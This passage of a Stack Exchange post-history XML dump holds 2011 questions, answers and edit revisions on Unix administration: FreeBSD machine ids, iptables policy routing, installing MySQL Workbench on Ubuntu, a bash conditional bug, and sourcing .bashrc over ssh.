  <row Id="29706" PostHistoryTypeId="5" PostId="12152" RevisionGUID="9c5415f0-0af0-455a-aa45-c4ebad2eb8bf" CreationDate="2011-04-28T00:23:00.967" UserId="3169" Comment="added 666 characters in body" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that:&#xD;&#xA;&#xD;&#xA;&gt; This is normally a DARPA Internet address for the local machine.&#xD;&#xA;&#xD;&#xA;meaning it won't change just because somebody had to replace a broken network card, but it's not guaranteed to be unique, for example if networking isn't configured.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;On OpenBSD, `sysctl` gives you some other ids:&#xD;&#xA;&#xD;&#xA;    $ sysctl -a | grep id=&#xD;&#xA;    hw.uuid=????????-????-????-????-????????????&#xD;&#xA;    machdep.cpuid=??????&#xD;&#xA;&#xD;&#xA;These are also available using the [`sysctl`](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=3&amp;manpath=OpenBSD+4.7&amp;format=html) C API.&#xD;&#xA;&#xD;&#xA;Of those, `hw.uuid` looks most promising, but apparently [it's not available on FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=sysctl&amp;apropos=0&amp;sektion=0&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).&#xD;&#xA;&#xD;&#xA;Another option would be [`pciconf`](http://www.freebsd.org/cgi/man.cgi?query=pciconf&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE), [`pcidump`](http://www.freebsd.org/cgi/man.cgi?query=pcidump&amp;apropos=0&amp;sektion=8&amp;manpath=OpenBSD+4.7&amp;format=html), or get the information yourself using [`ioctl`](http://www.freebsd.org/cgi/man.cgi?query=ioctl&amp;sektion=2&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE) on the device driver, e.g. [`pci`](http://www.freebsd.org/cgi/man.cgi?query=pci&amp;apropos=0&amp;sektion=4&amp;manpath=FreeBSD+8.2-RELEASE&amp;format=html).  [Full list of drivers](http://www.freebsd.org/cgi/man.cgi?query=(4)&amp;sektion=&amp;apropos=1&amp;manpath=FreeBSD+8.2-RELEASE&amp;title=Section%20).&#xD;&#xA;&#xD;&#xA;Some other commands that might help include:&#xD;&#xA;&#xD;&#xA; - [`devinfo`](http://www.freebsd.org/cgi/man.cgi?query=devinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`diskinfo`](http://www.freebsd.org/cgi/man.cgi?query=diskinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`cpucontrol`](http://www.freebsd.org/cgi/man.cgi?query=cpucontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`atacontrol`](http://www.freebsd.org/cgi/man.cgi?query=atacontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA;&#xD;&#xA;If you need to do it in C, check out the [source code](http://svnweb.freebsd.org/base/release/8.2.0/sbin/) to see how the above commands work.&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) or [`libblkid`](http://www.freshports.org/misc/e2fsprogs-libblkid/) to get the id of the root file system.  As they are ports, obviously neither of those are part of the base system, but one or the other might get installed as part of a standard desktop installation.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29707" PostHistoryTypeId="5" PostId="12152" RevisionGUID="3a64435a-224d-4f47-904a-eae46644ce58" CreationDate="2011-04-28T00:31:50.683" UserId="3169" Comment="note that hostid is a 32-bit id" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that it's:&#xD;&#xA;&#xD;&#xA;&gt; a 32-bit identifier... normally a DARPA Internet address for the local machine&#xD;&#xA;&#xD;&#xA;i.e. it's the machine's IP address in hex.&#xD;&#xA;&#xD;&#xA;This means it won't change just because somebody had to replace a broken network card.  &#xD;&#xA;It also means it's not guaranteed to be unique, for example if networking isn't configured, or the machine uses a private IP address.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;After that, there are several commands that might help, including:&#xD;&#xA;&#xD;&#xA; - [`pciconf`](http://www.freebsd.org/cgi/man.cgi?query=pciconf&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`devinfo`](http://www.freebsd.org/cgi/man.cgi?query=devinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`diskinfo`](http://www.freebsd.org/cgi/man.cgi?query=diskinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`cpucontrol`](http://www.freebsd.org/cgi/man.cgi?query=cpucontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`atacontrol`](http://www.freebsd.org/cgi/man.cgi?query=atacontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA;&#xD;&#xA;Most of these work by calling [`ioctl`](http://www.freebsd.org/cgi/man.cgi?query=ioctl&amp;sektion=2&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE) on the relevant [device](http://www.freebsd.org/cgi/man.cgi?query=(4)&amp;sektion=&amp;apropos=1&amp;manpath=FreeBSD+8.2-RELEASE&amp;title=Section%20).&#xD;&#xA;&#xD;&#xA;If you need to do it in C, check out the [source code](http://svnweb.freebsd.org/base/release/8.2.0/sbin/) for the above commands for more details.&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) or [`libblkid`](http://www.freshports.org/misc/e2fsprogs-libblkid/) to get the id of the root file system.  Because they are ports, obviously neither of those are part of the base system, but one or the other might get installed as part of a standard desktop installation.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29708" PostHistoryTypeId="5" PostId="12152" RevisionGUID="ba07fc60-6a3f-4864-a58d-10d6d8551d51" CreationDate="2011-04-28T00:47:20.970" UserId="3169" Comment="added 157 characters in body" Text="The original way to do this was using [`hostid`](http://www.freebsd.org/cgi/man.cgi?query=gethostid).&#xD;&#xA;&#xD;&#xA;The man page notes that it's:&#xD;&#xA;&#xD;&#xA;&gt; a 32-bit identifier... normally a DARPA Internet address for the local machine&#xD;&#xA;&#xD;&#xA;i.e. it's the machine's IP address in hex.&#xD;&#xA;&#xD;&#xA;This means it won't change just because somebody had to replace a broken network card.  &#xD;&#xA;It also means it's not guaranteed to be unique, for example if networking isn't configured, or the machine uses a private IP address.&#xD;&#xA;&#xD;&#xA;In fact, it might not even be set, and can be changed by the superuser using `sethostid` or `sysctl`.&#xD;&#xA;&#xD;&#xA;I can't find anything of much use in the `sysctl -a` output besides `kern.hostid`.  &#xD;&#xA;On OpenBSD there is `hw.uuid`, but that's not available on FreeBSD.&#xD;&#xA;&#xD;&#xA;After that, there are several commands that might help, including:&#xD;&#xA;&#xD;&#xA; - [`pciconf`](http://www.freebsd.org/cgi/man.cgi?query=pciconf&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`devinfo`](http://www.freebsd.org/cgi/man.cgi?query=devinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`diskinfo`](http://www.freebsd.org/cgi/man.cgi?query=diskinfo&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`cpucontrol`](http://www.freebsd.org/cgi/man.cgi?query=cpucontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA; - [`atacontrol`](http://www.freebsd.org/cgi/man.cgi?query=atacontrol&amp;sektion=8&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE)&#xD;&#xA;&#xD;&#xA;Most of these work by calling [`ioctl`](http://www.freebsd.org/cgi/man.cgi?query=ioctl&amp;sektion=2&amp;apropos=0&amp;manpath=FreeBSD+8.2-RELEASE) on the relevant [device](http://www.freebsd.org/cgi/man.cgi?query=(4)&amp;sektion=&amp;apropos=1&amp;manpath=FreeBSD+8.2-RELEASE&amp;title=Section%20).&#xD;&#xA;&#xD;&#xA;If you need to do it in C, check out the [source code](http://svnweb.freebsd.org/base/release/8.2.0/sbin/) for the above commands for more details.&#xD;&#xA;&#xD;&#xA;You could also look at [`libvolume_id`](http://www.freshports.org/devel/libvolume_id/) or [`libblkid`](http://www.freshports.org/misc/e2fsprogs-libblkid/) to get the id of the root file system.  Because they are ports, obviously neither of those are part of the base system, but one or the other might get installed as part of a standard desktop installation.&#xD;&#xA;&#xD;&#xA;See also: [Getting a unique id from a Unix-like system](http://stackoverflow.com/questions/328936/getting-a-unique-id-from-a-unix-like-system)." />
  <row Id="29709" PostHistoryTypeId="5" PostId="12109" RevisionGUID="9520495f-ef4b-4592-b2d3-b5e5cbce7c54" CreationDate="2011-04-28T00:47:41.953" UserId="885" Comment="correct `&gt;` to `&gt;&gt;` (thanks Oli); mention that ip is from iproute2" Text="I would setup a separate routing table and a policy to route marked packets using that table and have iptables/netfilter mark certain packets.&#xD;&#xA;&#xD;&#xA;Create a table:&#xD;&#xA;`echo 1 known &gt;&gt; /etc/iproute2/rt_tables`&#xD;&#xA;&#xD;&#xA;Create a routing rule (the `ip` command is from [iproute2](http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2)):&#xD;&#xA;`ip rule add from all fwmark 1 table known`&#xD;&#xA;&#xD;&#xA;We created a table called &quot;known&quot; and created a routing rule that says any packet with a mark equal to 1 gets routed according to the &quot;known&quot; table. I only called it known because it's for the list of known protocols - you can name it whatever you want. Now we setup the known table to route the proper way.&#xD;&#xA;&#xD;&#xA;    ip route add default dev eth0 table known&#xD;&#xA;&#xD;&#xA;Create iptables rules:&#xD;&#xA;&#xD;&#xA;    iptables -t mangle -I PREROUTING -p tcp --dport 111 -j MARK --set-mark 1&#xD;&#xA;    iptables -t mangle -I PREROUTING -p tcp --dport 2049 -j MARK --set-mark 1&#xD;&#xA;&#xD;&#xA;The example marks packets on the NFS ports (111, 2049) with a 1. We are adding this rule to the 'mangle' iptable. This is different from the routing tables and is not changeable; the mangle table is specifically for altering packets in any way other than NAT.&#xD;&#xA;&#xD;&#xA;Now, to route everything else through the other interface, we add a route to the standard routing table.&#xD;&#xA;&#xD;&#xA;    ip route add default dev eth1&#xD;&#xA;&#xD;&#xA;To really understand this, read sections 4 and 11 of the [LARTC howto][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lartc.org/howto/" />
  <row Id="29710" PostHistoryTypeId="2" PostId="12156" RevisionGUID="5ed9847a-2192-4a89-9032-cd6b7d4bcb9c" CreationDate="2011-04-28T00:51:43.867" UserId="6167" Text="Never used weechat, but basically, you want it to send out a audible bell, also known as ^G or \007.  Some programs like bash/readline can be configured to do a visual flash instead of a audible bell.  With a visual flash, Gnome Terminal won't know there was an update." />
  <row Id="29711" PostHistoryTypeId="2" PostId="12157" RevisionGUID="cf410844-02ff-45f9-8aab-8940f976a71c" CreationDate="2011-04-28T01:04:06.267" UserId="7006" Text="I am using **Ubuntu 9.10 - the Karmic Koala** - released in October 2009 &#xD;&#xA;&#xD;&#xA;I downloaded **mysql-workbench-gpl-5.2.33b-1ubu1004-i386.deb** from [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But when I run this package it show me following error:&#xD;&#xA;&#xD;&#xA;    Error: Dependency is not satisfiable: libatk1.0-0 (&gt;= 1.29.3)&#xD;&#xA;&#xD;&#xA;I am new to ubuntu. I have tried many packages but unable to install MySQL Workbench. How can I install it on my ubuntu...&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;	&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/downloads/workbench/#downloads&#xD;&#xA;" />
  <row Id="29712" PostHistoryTypeId="1" PostId="12157" RevisionGUID="cf410844-02ff-45f9-8aab-8940f976a71c" CreationDate="2011-04-28T01:04:06.267" UserId="7006" Text="Install MySQL workbench on ubuntu" />
  <row Id="29713" PostHistoryTypeId="3" PostId="12157" RevisionGUID="cf410844-02ff-45f9-8aab-8940f976a71c" CreationDate="2011-04-28T01:04:06.267" UserId="7006" Text="éubuntuàéinstallàémysqlàédebà" />
  <row Id="29714" PostHistoryTypeId="2" PostId="12158" RevisionGUID="71d25e0c-dd70-4e33-9a98-ffcdc6df74fd" CreationDate="2011-04-28T01:13:04.503" UserId="2333" Text="I have a very short Bash script, like this:&#xD;&#xA;&#xD;&#xA;    variable=&quot;3 things&quot;&#xD;&#xA;    if $(echo $variable|grep &quot;^[0-9]\{1,\}&quot;) #if $variable begins with [0-9]&#xD;&#xA;    then&#xD;&#xA;        echo $(echo $variable|sed 's/ .*$//')&#xD;&#xA;    else&#xD;&#xA;        echo &quot;0&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;`$variable` will eventually be the output of a command which will be a string beginning with either a number or the word &quot;No &quot;. I want the script to return just the number or else the digit 0.&#xD;&#xA;&#xD;&#xA;I'm getting the error, `script.bash: line 2: 3: command not found` and I don't understand why bash is trying to execute &quot;3&quot; as a command. Any insight would be appreciated (or suggestions on better ways to write this---I'm not good with bash script).&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="29715" PostHistoryTypeId="1" PostId="12158" RevisionGUID="71d25e0c-dd70-4e33-9a98-ffcdc6df74fd" CreationDate="2011-04-28T01:13:04.503" UserId="2333" Text="bash script is trying to execute a variable" />
  <row Id="29716" PostHistoryTypeId="3" PostId="12158" RevisionGUID="71d25e0c-dd70-4e33-9a98-ffcdc6df74fd" CreationDate="2011-04-28T01:13:04.503" UserId="2333" Text="ébashàéscriptingà" />
  <row Id="29717" PostHistoryTypeId="2" PostId="12159" RevisionGUID="bb2bee2d-bf5e-4267-b0c9-aec75880a7f0" CreationDate="2011-04-28T01:26:31.293" UserId="6167" Text="The simple answer is to either upgrade libatk or find an older version of MySQL Workbench.  Sometimes there are newer packages in the backports repository, but I checked karmic-backports in [Ubuntu's Package Repository](http://packages.ubuntu.com/) and a newer version has not been backported.  Ubuntu 10.04+ does have a newer version of libatk that's compatible with MySQL Workbench.  You could try installing on 9.10 ignoring dependencies and hope it works anyways.&#xD;&#xA;&#xD;&#xA;    dpkg --ignore-depends=libatk1.0 -i mysql-workbench-gpl-5.2.33b-1ubu1004-i386.deb&#xD;&#xA;&#xD;&#xA;The only other option is to download the source from 10.04 Maverick and recompile it on Karmic.  Get the source from http://packages.ubuntu.com/source/maverick/atk1.0.  You will need the .dsc, .diff.gz, and .tar.gz file from that page.&#xD;&#xA;&#xD;&#xA;    wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0-0ubuntu1.dsc'&#xD;&#xA;    wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0.orig.tar.gz'&#xD;&#xA;    wget 'http://archive.ubuntu.com/ubuntu/pool/main/a/atk1.0/atk1.0_1.32.0-0ubuntu1.diff.gz&#xD;&#xA;    sudo apt-get install dpkg-dev&#xD;&#xA;    dpkg-source -x atk1.0_1.32.0-0ubuntu1.dsc&#xD;&#xA;    cd atk1.0-1.32.0&#xD;&#xA;    dpkg-buildpackage&#xD;&#xA;&#xD;&#xA;Once it's done building, you will have a number of .deb files in the parent directory.  You will need to install any over what's already installed." />
  <row Id="29718" PostHistoryTypeId="2" PostId="12160" RevisionGUID="597e4769-7ebe-44da-8e94-5e1102596528" CreationDate="2011-04-28T01:30:50.167" UserId="6167" Text="Try this:&#xD;&#xA;&#xD;&#xA;    variable=&quot;3 things&quot;&#xD;&#xA;    if echo &quot;$variable&quot; | grep &quot;^[0-9]\{1,\}&quot; &gt;/dev/null 2&gt;&amp;1 #if $variable begins with [0-9]&#xD;&#xA;    then&#xD;&#xA;        echo &quot;$variable&quot; | sed 's/ .*$//'&#xD;&#xA;    else&#xD;&#xA;        echo &quot;0&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;When using the `$(...)` notation, you are executing the inside command and placing it's output in it's place.  The directive `if` runs the output of that and sees if it is successful.  In this case, you really want to test the success of the command you put inside the `$(...)`.  It's also good to quote variables when used." />
  <row Id="29719" PostHistoryTypeId="25" PostId="12158" RevisionGUID="00525f60-8ba5-486c-9135-19a29a39cc30" CreationDate="2011-04-28T03:09:17.697" Comment="http://twitter.com/#!/StackUnix/status/63439616581181440" />
  <row Id="29720" PostHistoryTypeId="2" PostId="12161" RevisionGUID="ac81340c-d041-4291-8b2a-3bd0d6415d07" CreationDate="2011-04-28T03:40:16.270" UserId="3169" Text="I'm not too sure about WeeChat, but it's possible in mIRC and Irssi using [my patch](http://mikelward.com/software/gnome/flashing-terminal).&#xD;&#xA;&#xD;&#xA;If you can get WeeChat to make an audible bell when you are mentioned/highlighted, then my patch will work for WeeChat too." />
  <row Id="29721" PostHistoryTypeId="5" PostId="12096" RevisionGUID="5e412ad5-a0da-49f8-84f8-21c549c4270d" CreationDate="2011-04-28T03:46:26.033" UserId="5861" Comment="added 327 characters in body" Text="Actually I am trying to make a system statistics tool for ubuntu that will store data about resource utilization of processes/users. And I am storing these data in my own log files like /var/log/&lt;process&gt;.log. So I want to ask, Is there any API (like procfs for collecting data about processes) for parsing own log files using  C programming language. And these log files will contain simply username, process id, CPU%, MEM%, I/O etc. &#xD;&#xA;Thanks" />
  <row Id="29722" PostHistoryTypeId="2" PostId="12162" RevisionGUID="6238d38f-4a8b-41cc-a117-aef6be5314f4" CreationDate="2011-04-28T04:17:00.013" UserId="6866" Text="Is there any way to make the system more consistent when using LUKS? (or slow storage in general) as it is everything is snappy until the write buffer is full, then everything grinds to a halt as the kernel blocks writes. Same issue on my laptop with the slow SSD - its fine, then I have to wait for 30 seconds while it flushes, meanwhile I can do nearly nothing. I'm hoping to tune the disk cache system? Alternatively, if I can get things to not completely cease while blocked, instead only blocking the write that's actually being blocked?" />
  <row Id="29723" PostHistoryTypeId="1" PostId="12162" RevisionGUID="6238d38f-4a8b-41cc-a117-aef6be5314f4" CreationDate="2011-04-28T04:17:00.013" UserId="6866" Text="slow media - disk cache tuning?" />
  <row Id="29724" PostHistoryTypeId="3" PostId="12162" RevisionGUID="6238d38f-4a8b-41cc-a117-aef6be5314f4" CreationDate="2011-04-28T04:17:00.013" UserId="6866" Text="élinuxàéperformanceàéencryptionàéstorageà" />
  <row Id="29725" PostHistoryTypeId="2" PostId="12163" RevisionGUID="18adfc02-ca21-4d70-b14c-c6eab4cc6464" CreationDate="2011-04-28T04:32:57.370" UserId="2343" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;&#xD;&#xA;You can let 'sed' do the condition tests.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do&#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; -e &quot;s/^[^0-9].*/No/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    No&#xD;&#xA;    10&#xD;&#xA;    No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29726" PostHistoryTypeId="2" PostId="12164" RevisionGUID="5c5905d5-661d-4696-b43f-ea07f7eb844d" CreationDate="2011-04-28T04:36:58.477" UserId="7012" Text="I use an approach&#xD;&#xA;&#xD;&#xA;&gt; ssh user@IP sh [runme.sh]&#xD;&#xA; &#xD;&#xA;to execute script remotely, this works fine. But I got one problem, that is in runme.sh, I can't get any envirnoment variables which are defined in ~/.bashrc. If I launch the script locally, everything goes fine, but how can I get those environment configurations with ssh command? &#xD;&#xA;&#xD;&#xA;One workable approach is to add one line&#xD;&#xA;&#xD;&#xA;&gt; . ~/.bashrc &#xD;&#xA;&#xD;&#xA;in every runme.sh in the very beginning, but in this way, I need to modify a lot of &quot;runme.sh&quot; files on clients. Is there a better idea ?" />
  <row Id="29727" PostHistoryTypeId="1" PostId="12164" RevisionGUID="5c5905d5-661d-4696-b43f-ea07f7eb844d" CreationDate="2011-04-28T04:36:58.477" UserId="7012" Text="ssh user@IP sh &lt;command&gt; missed environment variables" />
  <row Id="29728" PostHistoryTypeId="3" PostId="12164" RevisionGUID="5c5905d5-661d-4696-b43f-ea07f7eb844d" CreationDate="2011-04-28T04:36:58.477" UserId="7012" Text="éshellà" />
  <row Id="29729" PostHistoryTypeId="5" PostId="12163" RevisionGUID="3824ae44-3f5c-4200-8b53-cd82fefef5d9" CreationDate="2011-04-28T04:52:09.000" UserId="2343" Comment="added 123 characters in body; added 37 characters in body; added 9 characters in body; added 5 characters in body" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;The reason it is attempting to execute **3**, is for the same reason as `if echo`  &#xD;&#xA;Your grep output presents `if 3` to bash.&#xD;&#xA;&#xD;&#xA;You can easily avoid all that, and let 'sed' handle the condition tests and the output.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do&#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; -e &quot;s/^[^0-9].*/No/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    No&#xD;&#xA;    10&#xD;&#xA;    No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29730" PostHistoryTypeId="2" PostId="12165" RevisionGUID="d10bc2e7-003e-478e-b0e4-b45371b5a8e0" CreationDate="2011-04-28T04:54:15.917" UserId="1474" Text="How about this:&#xD;&#xA;&#xD;&#xA;    ssh user@IP -- '. ~/.bashrc; sh runme.sh'&#xD;&#xA;&#xD;&#xA;You should probably be a bit careful about the distinction between `sh` and `bash`.  If you have fancy customizations in `.bashrc`, and `sh` is something like dash, then this might fail.&#xD;&#xA;" />
  <row Id="29732" PostHistoryTypeId="5" PostId="12163" RevisionGUID="9444b203-7fe7-49f0-9179-8206babf0b05" CreationDate="2011-04-28T05:15:12.730" UserId="2343" Comment="added 175 characters in body; added 93 characters in body; added 2 characters in body" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;The reason it is attempting to execute **3**, is for the same reason as when `if command` is encountered in the script.. The command's is run and its exit code is tested by `if`.. &#xD;&#xA;Your grep output presents `if 3` to bash.  &#xD;&#xA;&#xD;&#xA;`if command ;then do-something; fi`  is okay because `if` tests the exit code of `command`.  &#xD;&#xA;`if 3 ; then do-somethin; fi`  will fail, because `3` isn't a command...&#xD;&#xA;&#xD;&#xA;You can easily avoid all that, and let 'sed' handle the condition tests and the output.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do&#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; -e &quot;s/^[^0-9].*/No/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    No&#xD;&#xA;    10&#xD;&#xA;    No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29733" PostHistoryTypeId="5" PostId="12163" RevisionGUID="721c7732-e1be-4d71-9b4d-df04fe2c920d" CreationDate="2011-04-28T05:20:33.947" UserId="2343" Comment="added 26 characters in body" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;The reason it is attempting to execute **3**, is for the same reason as when `if command` is encountered in the script.. The command's is run and its exit code is tested by `if`.. &#xD;&#xA;Your grep output presents `if 3` to bash.  &#xD;&#xA;&#xD;&#xA;`if command ;then do-something; fi`  is okay because `if` tests the exit code of `command`.  &#xD;&#xA;`if 3 ; then do-somethin; fi`  will fail, because `3` isn't a command...&#xD;&#xA;&#xD;&#xA;You can easily avoid all that, and let 'sed' handle the condition tests and the output.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do&#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; \&#xD;&#xA;                       -e &quot;s/^[^0-9].*/No/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    No&#xD;&#xA;    10&#xD;&#xA;    No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29734" PostHistoryTypeId="5" PostId="12163" RevisionGUID="00cc5474-c2db-40f2-9e2a-40e1df5dfd48" CreationDate="2011-04-28T05:26:32.873" UserId="2343" Comment="added 253 characters in body; added 42 characters in body" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;The reason it is attempting to execute **3**, is for the same reason as when `if command` is encountered in the script.. The command's is run and its exit code is tested by `if`.. &#xD;&#xA;Your grep output presents `if 3` to bash.  &#xD;&#xA;&#xD;&#xA;`if command ;then do-something; fi`  is okay because `if` tests the exit code of `command`.  &#xD;&#xA;`if 3 ; then do-somethin; fi`  will fail, because `3` isn't a command...&#xD;&#xA;Here is a simple example to indicate `if command...` &#xD;&#xA;&#xD;&#xA;    function error() { return 1 ; }&#xD;&#xA;    if error  ;then echo A-cond1 ; else echo A-cond2 ;fi&#xD;&#xA;    if echo -n;then echo B-cond1 ; else echo B-cond2 ;fi&#xD;&#xA;    # `if 3` fails as you already know..&#xD;&#xA;    # output:&#xD;&#xA;    A-cond2&#xD;&#xA;    B-cond1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can easily avoid all that, and let 'sed' handle the condition tests and the output.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do&#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; \&#xD;&#xA;                       -e &quot;s/^[^0-9].*/No/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    No&#xD;&#xA;    10&#xD;&#xA;    No&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29735" PostHistoryTypeId="5" PostId="12163" RevisionGUID="fb27890b-c84e-4856-8502-1c0e5df49ba4" CreationDate="2011-04-28T05:56:58.930" UserId="2343" Comment="deleted 2 characters in body" Text="Your script is not trying to execute your *variable*.  &#xD;&#xA;It is trying to execute the output from 'grep'...  &#xD;&#xA;The reason it is attempting to execute **3**, is for the same reason as when `if command` is encountered in the script.. The command's is run and its exit code is tested by `if`.. &#xD;&#xA;Your grep output presents `if 3` to bash.  &#xD;&#xA;&#xD;&#xA;`if command ;then do-something; fi`  is okay because `if` tests the exit code of `command`.  &#xD;&#xA;`if 3 ; then do-somethin; fi`  will fail, because `3` isn't a command...&#xD;&#xA;Here is a simple example to indicate `if command...` &#xD;&#xA;&#xD;&#xA;    function error() { return 1 ; }&#xD;&#xA;    if error  ;then echo A-cond1 ; else echo A-cond2 ;fi&#xD;&#xA;    if echo -n;then echo B-cond1 ; else echo B-cond2 ;fi&#xD;&#xA;    # `if 3` fails as you already know..&#xD;&#xA;    # output:&#xD;&#xA;    A-cond2&#xD;&#xA;    B-cond1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can easily avoid all that, and let 'sed' handle the condition tests and the output.   &#xD;&#xA;&#xD;&#xA;    for var in \&#xD;&#xA;      &quot;3 things&quot; \&#xD;&#xA;      &quot; 1 leading space&quot; \&#xD;&#xA;      &quot;10 green bottles&quot; \&#xD;&#xA;      &quot;albatross&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$var&quot; |sed -e &quot;s/^\([0-9]\+\).*/\1/&quot; \&#xD;&#xA;                       -e &quot;s/^[^0-9].*/0/&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    3&#xD;&#xA;    